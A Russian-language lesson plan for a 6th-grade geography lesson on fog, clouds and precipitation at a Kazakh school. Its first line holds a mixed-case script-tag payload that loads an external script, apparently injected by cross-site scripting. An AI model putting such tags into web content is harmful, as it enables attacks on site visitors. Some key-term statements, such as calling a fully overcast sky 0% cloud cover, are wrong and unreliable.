<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Токтамысская

средняя школа

Краткосрочный

план учителя географии Куриленко Евгения Николаевича

17.01.2017

6  класс

География

Урок № 35

Раздел

Атмосфера

Тема урока

Туман и облака. Атмосферные осадки

Цель урока

К концу урока у учащиеся

сформируются понятия «туман», «облака», «атмосферные осадки»

Критерии успеха

Учащиеся

смогут:

Ø 

Приводить

примеры видов атмосферных осадков;

Ø 

Называть

виды облаков и характеризовать их;

Ø 

Наносить

на контурную карту распределение годовых осадков;

Ø 

Объяснять

причины образования различных видов атмосферных осадков

Языковые цели

Предметный

словарный запас и терминология:

Ø  Туман, облака (кучевые, слоистые,

перистые), атмосферные осадки, облачность, снег, дождь, град

Ресурсы

Компьютер,

проектор, интерактивная доска, электронная презентация, карточки с заданиями,

Демонстрации

Видеоролик «По

дороге с облаками»

Предыдущее обучение

Водяной пар в воздухе

Домашнее задание

П. 32-33  Стр. 89-95 подготовить 3 вопроса по теме

(письменно в рабочих тетрадях)

Присутствовали: _____

Отсутствовали: _____

Содержание

Учитель

Ученики

В начале урока каждый учащийся получает

часть разрезанной картинки

с фрагментом времени года

Организационный момент.

Демонстрация видеоролика «Облака – белогривые лошадки»

Актуализирует

внимание

Учащихся

Направляет

Слушают

Смотрят

видеоролик

Предлагают тему

урока

Загадки (2) по теме урока

Организует

работу класса

Слайды 1-3

Отгадывают

Формирование темы урока

Слайд 4

Проверка домашнего задания – мини-тест (7 вопросов)

Взаимопроверка

Организует

работу класса

Слайды 5-6

Выполняют в

рабочих тетрадях

Проверяют и

оценивают работы одноклассников

Деление на

группы по временам года

Изучение нового материала. Работа в группах

Выступление с результатами

Взаимооценивание

Работа с

терминами. Найти главные ключевые

слова из текста и аргументы к ним, выстраивая в логическую

последовательность, заполняя при этом таблицу

Слайд 7

Выполняют

задание

Выступают

с результатами

Сообщение учителя по новой теме

Слайды 8-13

Работа в группах

Задания группам

- проработать текст учебника и подготовить сообщения на следующие темы:

1. Облака
2. и их виды
3. Атмосферные
4. осадки
5. Распределение
6. осадков по земной поверхности. Испарение и испаряемость

Слайд

14

Читают текст, анализируют, готовят одного ученика от

группы выступать

Выступают с сообщениями

Объявить

критерии оценивания группам

Закрепление изученного.

Блиц-опрос

Взаимооценивание

Организует

работу класса

 Слайд 15

Отвечают на

вопросы по изученному материалу, проверяют и оценивают работу в парах

Домашнее задание

П. 32-33  Стр. 89-95 подготовить 3 вопроса по теме

(письменно в рабочих тетрадях)

Записывают в

дневник

Рефлексия

Слайд 16

Учащиеся хлопают в ладоши те,

кто узнал сегодня на уроке что-то новое. Поднимают обе руки те, для кого урок

оказался нужным и полезным.

Ключевые слова

Аргументы

1. Туман

2. Облако

3. Атмосферные осадки

4. Облачность

5. Испарение

Это скопление мельчайших капелек воды в приземном слое

атмосферы.

Это скопление мелких капелек воды и кристалликов льда в

атмосфере высоко над поверхностью Земли.

Это влага, поступающая на поверхность Земли в твёрдом или

жидком состоянии. Из облаков выпадает дождь, снег, град, снежная крупа.

Это степень затянутости неба облаками.

Это превращение воды из жидкого состояния в газообразное,

т.е. в пар и распространение его в атмосферу.

Облако - это туман, только образуется он не у

поверхности Земли, а на высоте.

Облака имеют одинаковую форму и от этого имеют разные

названия.

Облака бывают кучевыми, слоистыми, перистые и что они

образуются на разной высоте

Небо, полностью закрытое облаками, - 0 % облачности.

Осадки-вода в жидком или твердом виде, выпадающая из

облаков или выделяющаяся из воздуха на охлажденных поверхностях.

№

Вид деятельности

Отметка

1

Тестирование

(индивидуальная)

2

Работа с терминами

(групповая)

3

Подготовка сообщений

(групповая)

4

Блиц-опрос (индивидуальная)

Средний балл

Оценка